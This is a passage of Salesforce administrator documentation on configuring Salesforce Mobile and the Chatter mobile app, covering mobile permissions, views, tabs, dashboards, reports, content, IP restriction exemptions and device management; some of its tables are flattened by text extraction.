The mobile client application inherits the user's permissions from Salesforce. Some administrators want to further restrict the permissions of users when they access Salesforce data in the mobile application, usually due to limitations of the client application or the possibility of user error. For example, users can inadvertently delete a record because they don't realize that deleting a record in the mobile application also deletes the record in Salesforce. If this is a concern, administrators can prevent users from deleting records in the mobile application, regardless of their standard and custom object permissions in Salesforce. Also, Salesforce Mobile does not support all Salesforce features, such as s-controls and Apex. If your business process for an object is unsupported by Salesforce Mobile, you might choose to prevent mobile users from updating those records in the mobile application. In the Permissions section, select which permissions to remove from mobile users for this object. Use the Deny Create, Deny Edit, or Deny Delete checkboxes to prevent users from creating, editing, or deleting records in the mobile application. Note: Currently, you can't block mobile permissions for the content object.

Customize Mobile Page Layouts


The mobile client application inherits the user's page layouts from Salesforce. Administrators may want to exclude some fields from each object's mobile page layout because unnecessary fields consume memory and make it harder for users to scroll through pages on the mobile device. In the Excluded Fields section, select which fields to display on the mobile device for this object. To add or remove fields, select a field name, and click the Add or Remove arrow. Mobile administrators can view all available fields per object, regardless of field-level security. Certain fields are required in order for the mobile client application to communicate with Salesforce. Those fields do not display in the Available Fields box because they are mandatory and cannot be excluded from mobile page layouts. Fields used in mobile custom views cannot be excluded from mobile page layouts. If you mobilize the content object, all of the content object's fields display in the Available Fields box; however, the layout of the content detail page in the mobile application is hard-coded to show only a few fields. Excluding fields for the content object doesn't affect the page layout in the mobile application.

See Also:
Salesforce Mobile Overview Managing Mobile Configurations Managing Mobile Tabs Creating Mobile Links

1001

Salesforce Mobile

Managing Mobile Views

Managing Mobile Views


Available in: Unlimited and Developer Editions Available for an additional cost in: Professional and Enterprise Editions

User Permissions Needed To view mobile devices and users: To manage mobile custom views: View Setup and Configuration Manage Mobile Configurations

You can create mobile custom views in the Administration Setup that are available to wireless users assigned to a particular mobile configuration. Mobile custom views are different than Salesforce custom views in the following ways: Mobile views are set up by the administrator per mobile configuration. The views are available to all users assigned to the configuration, and administrators cannot restrict visibility to certain groups of users within the configuration. Each mobilized object in a mobile configuration can have up to ten custom views. Mobile views cannot be filtered by All Records or My Records. The views apply to all records stored locally on the device, regardless of ownership; however, ownership filters can be applied using the additional fields in the search criteria. Mobile views don't support filter logic. Mobile views are limited to a two-column display. Mobile views can be sorted in ascending or descending order by up to two fields.

To manage the custom views for a mobile configuration, click Your Name > Setup > Mobile Administration > Salesforce Mobile > Configurations, and then click the name of the mobile configuration. In the Mobile Views related list: To see a list of all your custom views, choose All Options in the Select an object drop-down list. You can also use the Select an object drop-down list to filter the views by object type. To create a new mobile view, select the object type from the Select an object drop-down list, and then click New Mobile View. To make changes to a mobile custom view, click Edit next to a view name. To delete a mobile custom view, click Del next to a view name. To view details about a mobile custom view, click its name.

See Also:
Building Effective Filters Salesforce Mobile Overview Managing Mobile Configurations Managing Mobile Devices

1002

Salesforce Mobile

Managing Mobile Views

Creating Mobile List Views


Available in: Unlimited and Developer Editions Available for an additional cost in: Professional and Enterprise Editions

User Permissions Needed To view mobile devices and users: To manage mobile custom views: View Setup and Configuration Manage Mobile Configurations

For each mobile configuration, you can define up to ten mobile custom views per object that are pushed to the devices of users assigned to the configuration. To create a mobile custom view: 1. Click Your Name > Setup > Mobile Administration > Salesforce Mobile > Configurations, and then click the name of a mobile configuration. You might need to create a mobile configuration if you haven't already. 2. Scroll down to the Mobile Views related list. 3. Choose an object type from the Select an object drop-down list, and then click New Mobile View. Only objects included in the mobile configuration's data set appear in the drop-down list. You cannot create mobile views for the user object. 4. Enter the view name. Because display space on mobile devices is limited, the maximum length of a mobile view name is 30 characters. 5. In the Specify Filter Criteria section, enter conditions that the selected items must match, for example, Amount is greater than $100,000. a. Choose a field from the first drop-down list. Note: You cannot create views based on fields you excluded from mobile page layouts or fields that are hidden for all profiles and permission sets. b. Choose an operator. For descriptions of each operator, see Filter Operators on page 3144. c. In the third field, enter the value to match. Warning: Note the following about filter criteria values for mobile views: You can use the $User.ID merge field as a value in your filter criteria to reference the current user. You can't enter user names in your filter criteria. You can only enter special date values in your filter criteria, not actual dates. You can't use FISCAL special date values in the filter criteria.

d. Select Match All if items in the mobile view should match all the criteria you entered. Select Match Any if items in the mobile view should match any of the criteria you entered. Mobile custom views do not support advanced filtering options. 6. In the Select Fields to Display section, select the fields to use as display columns.

1003

Salesforce Mobile

Managing Mobile Tabs

The default fields are automatically selected. You can choose up to two different columns of data fields to display in your mobile custom view. 7. In the Define Sort Order section, optionally set a primary and secondary sort order for the view. a. Select a field in the Order By drop-down list. You can sort by fields that have been excluded from the object's mobile page layout. b. Set the sort order to Ascending or Descending. 8. Click Save.

See Also:
Managing Mobile Views Managing Mobile Configurations Managing Mobile Devices

Managing Mobile Tabs


Available in: Unlimited and Developer Editions Available for an additional cost in: Professional and Enterprise Editions

User Permissions Needed To view mobile configurations: To manage mobile tabs: View Setup and Configuration Manage Mobile Configurations

For each mobile configuration, you can select the tabs that appear in the mobile application and define the order of the tabs. The available tabs for a mobile configuration include: Standard object tabs Custom object tabs Visualforce tabs that have been enabled for the mobile application Web tabs that have been enabled for the mobile application

By default, tabs in the mobile application reflect Salesforceif an object's tab is hidden in Salesforce, it is hidden in the mobile application as well. Note: If you customize mobile tabs, the tabs you select for the mobile configuration are sent to users' mobile devices even if the tabs have not been added to an application. Although the tabs are sent to the device, they only display in the mobile application if users have permission to view the tab. There are several reasons you might want to hide an object's tab in Salesforce Mobile even though the object records are sent to the device. The mobile application has much less screen space to display a row of tabs, so occasionally administrators choose to reduce the amount of tabs on the device. Also, sometimes a custom object has a relationship to a standard object, and users

1004

Salesforce Mobile

Managing Mobile Tabs

access the custom object record from the parent object record. In that case, you could mobilize the custom object but hide the tab. To begin managing the tabs for a mobile configuration, click Your Name > Setup > Mobile Administration > Salesforce Mobile > Configurations, and then click the name of a mobile configuration. To view the tabs for a mobile configuration, scroll down to the Mobile Tabs related list. If you have not customized the configuration's tabs, the related list displays a message indicating that the default tab behavior is used for the configuration. To select the tabs and define their order for the first time, click Customize Tabs. See Customizing Mobile Tabs on page 1005. To change the tab setup for a mobile configuration, click Edit. To delete the mobile tab setup and use the default tab behavior, click Reset to Default. To enable Visualforce or web tabs for mobile users, edit the properties of the tabs and select the Mobile Ready checkbox. See Creating Visualforce Tabs on page 2220 and Creating Web Tabs on page 1864. Warning: Not all websites and Visualforce features are supported on mobile devices. Carefully review the best practices for creating mobile-friendly pages before enabling Visualforce or web tabs for the mobile application.

See Also:
Salesforce Mobile Overview Managing Mobile Configurations

Customizing Mobile Tabs


Available in: Unlimited and Developer Editions Available for an additional cost in: Professional and Enterprise Editions

User Permissions Needed To view mobile configurations: To customize mobile tabs: View Setup and Configuration Manage Mobile Configurations

To edit the tabs for a mobile configuration: 1. Click Your Name > Setup > Mobile Administration > Salesforce Mobile > Configurations, and then click the name of a mobile configuration. 2. In the Mobile Tabs related list, click Customize Tabs to define mobile tabs for the first time. If you have already set up the mobile tabs, click Edit. 3. Select tabs from the Available Tabs list, and click the Add arrow to add them to the mobile configuration. The Available Tabs list includes standard object tabs and custom object tabs. It also includes web and Visualforce tabs that have been enabled for the mobile application. To enable Visualforce or web tabs for mobile users, edit the properties of

1005

Salesforce Mobile

Managing Mobile Tabs

the tabs and select the Mobile Ready checkbox. See Creating Visualforce Tabs on page 2220 and Creating Web Tabs on page 1864. Note: Not all websites and Visualforce features are supported on mobile devices. Carefully review the best practices for creating mobile-friendly pages before enabling Visualforce or web tabs for the mobile application. 4. In the Selected Tabs list, choose tabs and click the Up and Down arrows to arrange the tabs in the order they should appear in the mobile application. 5. Click Save. Note: iPhone users can customize the order of their tabs in the mobile client application. If the user customizes their tab order, any administrator changes to the tab order in the mobile configuration are ignored by the client application, and any newly mobilized tabs are added below the user's existing tabs.

See Also:
Managing Mobile Tabs Salesforce Mobile Overview Managing Mobile Configurations

Defining Mobile Tabs


Available in: Unlimited and Developer Editions Available for an additional cost in: Professional and Enterprise Editions

You can make web and Visualforce tabs available in the mobile application. When you build the web tab or Visualforce tab, select the Mobile Ready checkbox in the wizard to verify that the web page or Visualforce page displays and functions properly on a mobile phone. Selecting the checkbox adds the tab to the list of available tabs for your mobile configurations. It is important to note that most mobile browsers have technical limitations concerning display size, scripts, processor speed, and network latency. Review the following considerations before mobilizing your web and Visualforce pages to ensure that they are compatible with mobile browsers. Mobile Web Tab Considerations Consider the following when defining a mobile web tab: The ability to mobilize web tabs is only available for BlackBerry and iPhone. If you mobilize a web tab, keep in mind that Windows Mobile users cannot view the tab in the mobile application. The minimum BlackBerry operating system requirement for web tabs is 4.3. The tab type must be URL. The mobile application cannot run s-controls. Some web pages contain JavaScript and Flash, but not all mobile browsers support them: Apple's Safari browser supports JavaScript, but not Flash. The BlackBerry browser has limited support for JavaScript and no support for Flash.

1006

Salesforce Mobile

Managing Mobile Tabs

Before mobilizing the web tab, navigate to the target URL on one of your organization's mobile devices to verify that it works as expected in a mobile browser. In the event that your organization's device inventory includes phones with different operating systemsfor example, both iPhones and BlackBerry smartphonesbe sure to test on each type of device. If users cannot accomplish the necessary tasks on the web page from a mobile browser, do not mobilize the web tab. In order for BlackBerry users to view JavaScript web pages, JavaScript must be enabled on the smartphones. The BlackBerry administrator can globally enable JavaScript from the BlackBerry Enterprise Server. Users can also enable JavaScript on a BlackBerry smartphone by opening the BlackBerry browser, selecting Options > Browser Configuration, and then selecting the Support JavaScript checkbox.

Visualforce Mobile Tab Considerations Consider the following when defining a mobile Visualforce tab: Visualforce Mobile is only available for BlackBerry and iPhone. If you mobilize a Visualforce tab, keep in mind that Windows Mobile users cannot view the tab in the mobile application. Salesforce Mobile can run on BlackBerry operating system versions 4.3 through 7.0. For optimum performance, however, Salesforce recommends running Visualforce Mobile on BlackBerry smartphones installed with at least version 4.6. Because the display size is limited on mobile browsers, we recommend redesigning the Visualforce page to optimize it for mobile users: Set the sidebar and showHeader attributes on the <apex:page> tag to false. Phones have small screens and limited processing power, so it is essential that the page suppresses the tab header and sidebar. Set the standardStylesheets attribute on the <apex:page> tag to false. The standard Salesforce stylesheet causes pages to load slowly on the device. Additionally, most BlackBerry browsers cannot properly interpret CSS . The best approach to adding a stylesheet to your page is to include a <style> section just below the <apex:page> component. Set the columns attribute on the <apex:pageBlockSection> component to 1. There is not enough room on a mobile devices screen to display two columns, so specifying a one-column layout prevents fields from wrapping awkwardly on the page. Splash pages do not display in the mobile application. In the mobile application, the Visualforce page is embedded in a tab, so you should avoid using tabs for navigation in mobile Visualforce pages. Even if you know that the mobile browser supports the JavaScript in your Visualforce page, keep your use of JavaScript to a minimum. Mobile devices generally have slow network connections, and too many scripts running on a page creates a poor user experience. To minimize the amount of JavaScript on your mobile Visualforce pages, try to build them using mostly WML and HTML. All Visualforce pages contain JavaScript, even if you do not create pages that use JavaScript code. In order for BlackBerry users to view Visualforce pages, JavaScript must be enabled on the smartphones. The BlackBerry administrator can globally enable JavaScript from the BlackBerry Enterprise Server. Users can also enable JavaScript on a BlackBerry smartphone by opening the BlackBerry browser, selecting Options > Browser Configuration, and then selecting the Support JavaScript checkbox. The embedded browser in the BlackBerry client application does not have built-in navigation. If your Visualforce page is a wizard, you should provide navigation links that allow users to return to the previous page and advance to the next page. BlackBerry administrators should be aware that the download size setting on the BlackBerry Enterprise Server affects how much data can be pushed to the device. Check that the download size setting is appropriate, and be sure to test your Visualforce pages before deploying them to your mobile users.

1007

Salesforce Mobile

Setting Up Mobile Dashboards

User agent inspection can be executed in a custom controller to support multiple devices. You can do this by inspecting the appropriate result of the getHeaders() method on the current page reference.

See Also:
Managing Mobile Tabs Managing Mobile Configurations Supported Devices for Mobile Creating Mobile Links

Setting Up Mobile Dashboards


Available in: Unlimited and Developer Editions Available for an additional cost in: Professional and Enterprise Editions

User Permissions Needed To view mobile configurations: To mobilize dashboards: View Setup and Configuration Manage Mobile Configurations

You can make the Dashboards tab available in Salesforce Mobile by adding it to the tabs for a mobile configuration. Mobile dashboards allow field users to keep up with corporate metrics and key performance indicators even when they are away from their desks. Note the following about mobile dashboards: The Dashboards tab in the mobile application launches an embedded browser to display the dashboards. Due to screen size limitations, mobile dashboards display in a single column. Links to custom report details are disabled in mobile dashboards. The first time a user visits the Dashboards tab in Salesforce Mobile, the mobile application requests the last dashboard the user viewed in Salesforce. Depending on the strength of the cellular or WiFi signal, it could take several minutes before the dashboard displays on the page. Dashboards do not automatically refresh in the mobile application. Users can request a dashboard refresh by clicking the Refresh button. Users are able to work offline in the mobile application. Without a wireless connection, users can see the last viewed dashboard, but they cannot refresh the dashboard or select a different one. The minimum BlackBerry operating system requirement for mobile dashboards is 4.5. Mobile dashboards are compatible with version 4.3, but tables in the dashboards might not display properly. BlackBerry administrators should be aware that the download size setting on the BlackBerry Enterprise Server affects how much dashboard data can be pushed to the device. Check that the download size setting is appropriate, and be sure to test your dashboards before deploying them to your mobile users.

1008

Salesforce Mobile

Setting Up Mobile Reports

Note: Currently, dashboards are only available in the BlackBerry and iPhone mobile client applications.

To enable mobile dashboards: 1. Click Your Name > Setup > Mobile Administration > Salesforce Mobile > Configurations, and then click the name of a mobile configuration. 2. In the Mobile Tabs related list, click Customize Tabs to define mobile tabs for the first time. If you have already set up the mobile tabs, click Edit. 3. Select Dashboards from the Available Tabs list, and click the Add arrow to add it to the mobile configuration. The Available Tabs list includes standard object tabs and custom object tabs. It can also include web and Visualforce tabs. Warning: If you have not yet customized tabs in the mobile configuration, you must select all the tabs that should appear in the mobile application, not just the Dashboards tab. 4. In the Selected Tabs list, choose the Dashboards tab and click the Up and Down arrows to define where the Dashboards tab should appear in the mobile application. 5. Click Save.

Setting Up Mobile Reports


Available in: Unlimited and Developer Editions Available for an additional cost in: Professional and Enterprise Editions

User Permissions Needed To create, edit, and delete public report folders: Manage Public Reports

To enable reports for the mobile application, create a Mobile Reports folder in Salesforce, add reports to the folder, then add the Reports tab to your mobile configurations. To enable reports: 1. From the reports home page in Salesforce, click Create New Folder. 2. In the Report Folder field, enter: Mobile Reports. The server does not load reports on the mobile device unless the folder is named Mobile Reports. Be sure to check for any typos in the name before saving the folder. Additionally, Salesforce does not require folder names to be unique. Mobile users can see any report stored in folders named Mobile Reports unless you restrict access with the folder visibility option. 3. Choose a Public Folder Access option. This option does not affect the ability of mobile users to run reports. 4. Optionally, select any unfiled reports and click Add to store them in the Mobile Reports folder. You can also add reports to the folder after saving the folder. 5. Choose a folder visibility option.
This folder is accessible by all users gives every user in your organization the ability to see the list of

mobile reports from their devices.


This folder is accessible only by the following users lets you grant access to a desired set of users.

1009

Salesforce Mobile

Setting Up Mobile Content

Do not make the folder private unless you want to hide mobile reports from all users, including yourself. 6. Click Save. 7. To add a report to the Mobile Reports folder, click the report name on the reports home page, and then click Save As. Save the report in the Mobile Reports folder. After saving the report, you can edit the options to make the report easier to view on a mobile device. For example, you might reduce the number of columns or enter additional filtering criteria. 8. Click Your Name > Setup > Mobile Administration > Salesforce Mobile > Configurations, and then click the name of a mobile configuration. 9. In the Mobile Tabs related list, click Customize Tabs to define mobile tabs for the first time. If you have already set up the mobile tabs, click Edit. 10. Select Reports from the Available Tabs list, and click the Add arrow to add it to the mobile configuration. The Available Tabs list includes standard object tabs and custom object tabs. It can also include web and Visualforce tabs. Warning: If you have not yet customized tabs in the mobile configuration, you must select all the tabs that should appear in the mobile application, not just the Reports tab. 11. In the Selected Tabs list, choose the Reports tab and click the Up and Down arrows to define where the Reports tab should appear in the mobile application. 12. Click Save. Note: Reports are not currently available in Salesforce Mobile for iPhone.

Setting Up Mobile Content


Available in: Unlimited and Developer Editions Available for an additional cost in: Professional and Enterprise Editions

User Permissions Needed To view mobile configurations: To create, change, or delete mobile data sets: View Setup and Configuration Manage Mobile Configurations

You can set up the mobile application so that your users are able to share content with customers and colleagues directly from their mobile devices. When you mobilize the content object in your organization's mobile configurations, the Content tab appears in the mobile application. Note the following about how Salesforce CRM Content is implemented in the mobile application: Content record information is synchronized to the device; however, the files associated with the content records are not. This allows users to deliver content from the mobile application even when a file is too large to be downloaded to a mobile device.

1010

Salesforce Mobile

Setting Up Mobile Content

Users can't search for a specific piece of content in the mobile application. They can only share the content available on the Content tab, which is automatically synchronized to their device based on the filters in their assigned mobile configuration. Users can't view a list of their subscribed content in the mobile application. They also can't filter the list of records on the Content tab based on a particular library. While users can preview and share content from the mobile application, they can't update the file associated with a content record. If they have the required permissions, they can edit the fields on the content detail page. Users must be in wireless coverage to preview and deliver content. Without a wireless connection, they can only view the content detail page. Content is only supported by the BlackBerry and iPhone mobile client applications. Content is not available in Mobile Lite, which is the free version of the mobile application. You can't block mobile permissions for the content object. Currently, the content object in the mobile application is read-only. You can't edit the mobile page layout for the content object. The content detail page in the mobile application is hard-coded to display only a few fields.

To set up Content for the mobile application: 1. Click Your Name > Setup > Mobile Administration > Salesforce Mobile > Configurations, and then click the name of a mobile configuration. 2. In the Data Sets related list, click Edit. 3. Click Add.... 4. In the popup window, select Content, then click OK. 5. Use field filters to specify which content records are synchronized. Because users can't search for content in the mobile application, it's essential to set up filters that make important content available on the device. You can't create filters based on libraries or subscriptions, but here are a few options for setting up useful filter conditions: Date: Filter on the Last Modified Date, Content Modified Date, or Created Date fields. Use special date values like LAST 90 DAYS or LAST 180 DAYS to ensure that recently updated content records are synchronized. Owner: Filter on the author if certain people in your organization are responsible for publishing content. File Type: Filter on certain types of documents. For example, your opportunity team might generally be interested in presentations or PDF documents. Custom Fields: If you created custom content fields that help you categorize your content, filter on the custom fields. For example, if you built a Functional Use field with picklist values, you could set up a filter condition where Functional Use equals Sales.

6. Optionally prevent content records from consuming all the memory on a mobile device by selecting the second radio button under Set Max Record Limit and entering the maximum number of content records this configuration can transfer to mobile devices. Use the Order By and Sort drop-down lists to specify which records are synchronized if the data size limit is exceeded. 7. Click Done when you're finished. 8. Optionally modify other mobile configurations and mobilize the content object.

1011

Salesforce Mobile

Chatter Mobile App Overview

Chatter Mobile App Overview


Available in: All Editions except Database.com

The Chatter mobile app lets you collaborate in Chatter from your mobile device as follows: Receive updates about the people and records you follow and your groups. View and create posts and comments. Post photos from your device. Find and follow people in your organization. Find and join groups in your organization. View your coworkers' profiles to see their contact information, bio, who they're following, and who's following them. Email, call, or text people directly from their Chatter profiles.

The Chatter mobile app is free and available for: Android phone or tablet with OS 2.2 or higher Apple iPad with iOS 5.0 or higher Apple iPhone and iPod Touch with iOS 5.0 or higher BlackBerry device with OS 5 or higher

Download the Chatter mobile app from either www.salesforce.com/mobile/apps/download/ or the online location where you typically download apps for your phone, such as Apple App Store, Android Market, or BlackBerry App World. Customers that manage BlackBerry devices with a BlackBerry Enterprise Server can use Application Push to remotely deliver the Chatter mobile app to users. Navigate to downloads.salesforce.com/downloads/mobile/index.html and click BESpush under Chatter Files and Tools to download the Application Push package. The Chatter mobile app is enabled for use in most organizations by default. If it is not enabled in your organization or you want to change the default settings, see Configuring the Chatter Mobile App.

Limitations
The Chatter mobile app does not have all of the functionality of Chatter on the Web. The following table shows the mobile app limitations for each device. Android Update your profile or change your profile photo No Post files other than images No BlackBerry No Yes No Yes Yes No Yes Yes iPhone/iPod Touch iPad No Yes No No Yes No No No No Yes No No Yes No No No

View the Files page and Chatter feeds for files No Follow files and search for files View files related to a person or group Search for records and follow records Search for Chatter feed items Search for updates associated with a topic No Yes No No No

1012

Salesforce Mobile

Chatter Mobile App Overview

Create groups Invite coworkers to sign up for Chatter Add or view Chatter favorites Access Chatter as a customer View and send Chatter private messages Receive Chatter push notifications

No No No Yes Yes No

No No No Yes Yes Yes

No No No Yes No Yes

No No No Yes No Yes

See Also:
Chatter Overview Salesforce Mobile Overview Mobile Lite Overview

Configuring the Chatter Mobile App


Available in: All Editions except Database.com

User Permissions Needed To view mobile settings: To change mobile settings: View Setup and Configuration Manage Mobile Configurations

To configure access to the Chatter mobile app in your organization: 1. 2. 3. 4. Log into Salesforce. Click Your Name > Setup > Mobile Administration > Chatter Mobile > Settings. Click Edit. Select Enable Chatter Mobile. Users receive an error message if they try to use the Chatter mobile app in an organization in which the app is disabled. Note: You cannot deauthorize the use of the Chatter mobile app for BlackBerry devices in your organization.

5. Select the mobile device types your organization allows to use Chatter mobile app. The Chatter mobile app displays an error message if a user tries to use the Chatter mobile app on a restricted device. 6. Optionally, enable push notifications. Push notifications are alerts that apps render on mobile device home screens when users are not using the app. These alerts can consist of text, icons, and sounds, depending on the device type. The Chatter mobile app uses push notifications to keep users aware of important Chatter activity without requiring users to return to the app. For example, push notifications can notify a user when someone posts on the user's profile, mentions the user in a post, comments on the user's post, and more.

1013

Salesforce Mobile

Chatter Mobile App Overview

7. Optionally, set the session security timeout for the Chatter mobile app. When a session expires, users must enter their passcode to access the Chatter mobile app on their mobile device. You dont need to set this option if the operating system automatically locks the device after a period of inactivity. 8. Click Save. 9. If your organization restricts login IP ranges, exempt the users and groups that need to access the Chatter mobile app outside of your organization's login IP range. You do not need to exempt users with BlackBerry devices; BlackBerry devices must already have Internet connectivity through a BlackBerry Enterprise Server with an IP address that falls within the Salesforce login IP ranges. 10. Restart the Chatter mobile app if configuration changes in Salesforce do not appear on your mobile device.

See Also:
Setting Login Restrictions Salesforce Mobile Overview Chatter Overview Chatter Mobile App Overview Viewing Chatter Mobile App Activity and Revoking Access

Bypassing IP Restrictions for Chatter Mobile App Users


Available in: All Editions except Database.com

User Permissions Needed To view mobile settings: To change mobile settings: View Setup and Configuration Manage Mobile Configurations

If your organization has trusted IP ranges, specify the users that can use the Chatter mobile app outside of those ranges. Important: Users cannot use the Chatter mobile app outside of your trusted IP ranges unless you specifically include them or their group in the list of users who can bypass the login IP restrictions. The users you specify can only bypass the restrictions with the Chatter mobile app; they cant access Salesforce through a Web browser outside of the trusted IP ranges. You do not need to specify users with BlackBerry devices. BlackBerry devices must already connect through a BlackBerry Enterprise Server with an IP address in a trusted Salesforce IP range. To specify trusted IP ranges, click Your Name > Setup > Security Controls > Network Access.

To specify which users and groups can use the Chatter mobile app outside of your organizations login IP range: 1. Click Your Name > Setup > Mobile Administration > Chatter Mobile > IP Restricted Users.

1014

Salesforce Mobile

Chatter Mobile App Overview

Note: The IP restriction bypass settings appear only in organizations with profile-based IP restrictions.

2. Specify the users and groups that can bypass the restrictions with the Chatter mobile app. 3. Click Send Email. Salesforce sends them an email with download links for the mobile apps your organization supports and a unique verification code. Users must enter the verification code on their device to use the Chatter mobile app. Important: Users with IP restrictions cannot use the Chatter mobile app unless they enter the verification code from their mobile device. The verification code cannot be shared or transferred, and it expires after 24 hours. If your code expires you must repeat the process to acquire a new code.

See Also:
Setting Login Restrictions Salesforce Mobile Overview Chatter Overview Chatter Mobile App Overview Configuring the Chatter Mobile App

Viewing Chatter Mobile App Activity and Revoking Access


Available in: All Editions except Database.com

User Permissions Needed To view Chatter mobile app activity and revoke access to the Manage Mobile Configurations Chatter mobile app:

To view Chatter mobile app activity in your organization, including the date each user activated or used the app, click Your Name > Setup > Mobile Administration > Chatter Mobile > Users and Devices. You can also remotely revoke access to the Chatter mobile app for a specific device if the device is lost or stolen. Revoking access prevents the device from accessing Chatter and deletes Chatter data from the device the next time the device attempts to synchronize with Salesforce. To revoke access for your own mobile device: 1. Click Your Name > Setup > Manage Users > Users. 2. Click your name. 3. In the Remote Access related list, click Revoke next to the entry for the Chatter mobile app. To revoke access for mobile devices owned by other users: 1. Click Your Name > Setup > Mobile Administration > Chatter Mobile > Users and Devices. 2. Select the users for whom you want to revoke access.

1015

Salesforce Mobile

Creating Mobile Links

3. Click Revoke.

See Also:
Salesforce Mobile Overview Chatter Mobile App Overview Configuring the Chatter Mobile App

Creating Mobile Links


To improve the integration between the mobile client application, Visualforce Mobile, and external websites, you can optionally create links from native Salesforce records to Visualforce Mobile pages or external websites. To create the links, build text formula fields on a standard or custom object. The field must be visible on the page layout to appear in the mobile application. The best practice is to include all embedded links in a separate section labeled Mobile Links at the bottom of the page layout. There is currently no way to hide these links in Salesforce, but users can collapse the section to keep the links out of the way. To create a link from a native record to a Visualforce Mobile page or Web page: 1. Create a custom field by navigating to the fields area of the appropriate object: For standard objects, click Your Name > Setup > Customize, then select the appropriate object from the Customize menu, and click Fields. For custom objects, click Your Name > Setup > Create > Objects, and select one of the custom objects in the list.

2. Click New in the Custom Fields & Relationships section of the page. 3. Select Formula, then click Next. 4. Enter the field label. The field name is automatically populated based on the field label you enter. 5. Select Text, then click Next. 6. In the formula editor, create the link to the custom Visualforce page or external website: To create a Visualforce link, type "visualforce:///apex/PageName", and replace PageName with the name of your Visualforce page. You can append parameters to the string, such as ?contactid=" & Id", in order to pass information from the record in the client application to the Visualforce page. To create a Web link, type "weblink:", followed by the URL to which you want the link to point, such as "weblink:http://www.salesforce.com". You can append parameters to the string in order to pass information from the record in the client application to the Web page. For example, the following Web link launches a social networking site from a contact record and performs a search for the contact:
"weblink:http://m.linkedin.com/members?search_term=" &FirstName& "+" &LastName& "&filter=name&commit=Search"

Note: The client application passes the Visualforce or Web link with all parameters to the embedded browser. It is up to the website or Visualforce Mobile page to interpret any parameters. Be sure to construct your Visualforce Mobile page to consume any parameters passed in the link. 7. Click Next.

1016

Salesforce Mobile

Sending Emails to Mobile Users

8. Set the field-level security to determine whether the field should be visible or read only for specific profiles, and click Next. 9. Choose the page layouts that should display the field. In the next step, you will customize the layout to change the location of the field on the page. 10. Click Save. 11. Edit the object's page layout: For standard object page layouts, select Your Name > Setup > Customize, select the object, and choose the Page Layouts link. Click Edit next to the name of the page layout you want to modify. For custom object page layouts, select Your Name > Setup > Create, select the object, and scroll to the Page Layouts section. Click Edit next to the name of the page layout you want to modify.

12. Drag a Section element from the palette to the page layout and drop it below the existing sections. 13. In the Section Name field, type Mobile Links. 14. Deselect the Edit Page option. 15. Select the 1-column layout, then click OK. 16. Drag the new text formula field from its current location into the new Mobile Links section. 17. Click Save.

See Also:
Salesforce Mobile Overview Managing Mobile Configurations Managing Mobile Tabs Visualforce Overview

Sending Emails to Mobile Users


Available in: Unlimited and Developer Editions Available for an additional cost in: Professional and Enterprise Editions

When you're ready to deploy the mobile application to your users, send them an email to notify them about the availability of the application and provide installation instructions. You can send the email using your corporate email application, like Outlook, or you can send mass email from Salesforce. Either way, include the URL that launches the download: For BlackBerry and Windows mobile users, the download URL is mobile.salesforce.com. The link is the same for the initial download and for subsequent upgrades. You can obtain the iPhone download URL from iTunes. Open iTunes, click iTunes Store, then search for Salesforce Mobile. Click the application icon to view details about the app. At the top of the iTunes window is a bread crumb path representing the application's location in the App Store: App Store > Business > Salesforce Mobile. Drag-and-drop the path into a text editor or word processing program to display the download URL for the application.

To send mass email to mobile users from Salesforce: 1. Create an email template informing users about the initial installation. Optionally, create a separate email template for upgrade notifications. Include the download link in the templates. 2. Create a custom view on the Mass Email page showing only mobile users.

1017

Salesforce Mobile

Managing Mobile Devices

Note: The Mobile User checkbox indicates that users have a mobile license, and a mobile license enables them to use Salesforce Mobile, which is the full version of the mobile application. Mobile Lite users do not need a mobile license to use the mobile application, so you must use different filter criteria to create a view for Mobile Lite users. Try filtering based on roles or profiles instead. 3. Send mass email to your mobile users using the custom view that you created.

Managing Mobile Devices


Available in: All Editions except Database.com

User Permissions Needed To view mobile devices and users: To manage mobile devices: View Setup and Configuration Manage Mobile Configurations

After a user installs the mobile application on their wireless device and logs in for the first time, Salesforce collects the device information and associates the device with the user's record. The device information is read only. While the device entry is created automatically, you can still view and manage all the mobile users and devices in your organization by clicking Your Name > Setup > Mobile Administration > Salesforce Mobile > Users and Devices. From the All Mobile Users and Devices page: You can view the list of users in your organization who have been enabled to use Salesforce Mobile. You can create custom list views to see different subsets of your mobile users (see Creating Custom List Views on page 270). For example, create a view that shows the mobile users who have never logged in to Salesforce from their devices to evaluate your organization's mobile deployment efforts. To view details about a mobile device, click the device address. See Viewing Mobile Device Information on page 1019. To view details about a specific user, click the username. To view details about a mobile configuration, click the mobile configuration name. The buttons on the All Mobile Users and Devices page let you perform actions on multiple mobile users at one time. You can: Adjust the mobile session timeout value Erase the Salesforce data from a user's device Delete a device from a user's record To find out why a user's device is not synchronizing, hover your mouse over the red error icon in the Status column. Additional information about the synchronization errors appears on the device's detail page. See Viewing Mobile Device Information on page 1019.

1018

Salesforce Mobile

Managing Mobile Devices

Note: You can also manage mobile users from the Assigned Mobile Devices related list on the user detail page.

See Also:
Supported Devices for Mobile Sending Emails to Mobile Users Salesforce Mobile Overview Managing Mobile Configurations

Viewing Mobile Device Information


Available in: Unlimited and Developer Editions Available for an additional cost in: Professional and Enterprise Editions

Salesforce collects information about a mobile user's device the first time the user logs in to the mobile application. There are two ways to access the device details: Click Your Name > Setup > Mobile Administration > Salesforce Mobile > Users and Devices, and then click a device address in the list view. Click Your Name > Setup > Manage Users > Users. Click Edit next to a user's name, and then click the device address in the Assigned Mobile Devices related list.

From the Mobile Device page, you can: Review device information Adjust the mobile session timeout value Erase the Salesforce data from a user's device Delete a device from a user's record

Below is a description of the fields in alphabetical order that are stored for each mobile device in your organization. Field
Brand Carrier

Description The brand of the mobile device, if available. The name of the carrier providing service for the mobile device, if available. The date and time the device established a connection to the mobile server. The device loses a connection when the battery dies or when the session is closed because the server has not received data from the device for a long period of time. The state of the device connection. Possible values for this field are Connected, Not Connected, and Not Available.

Connected Since

Connection Status

1019

Salesforce Mobile

Managing Mobile Devices

Field
Created By

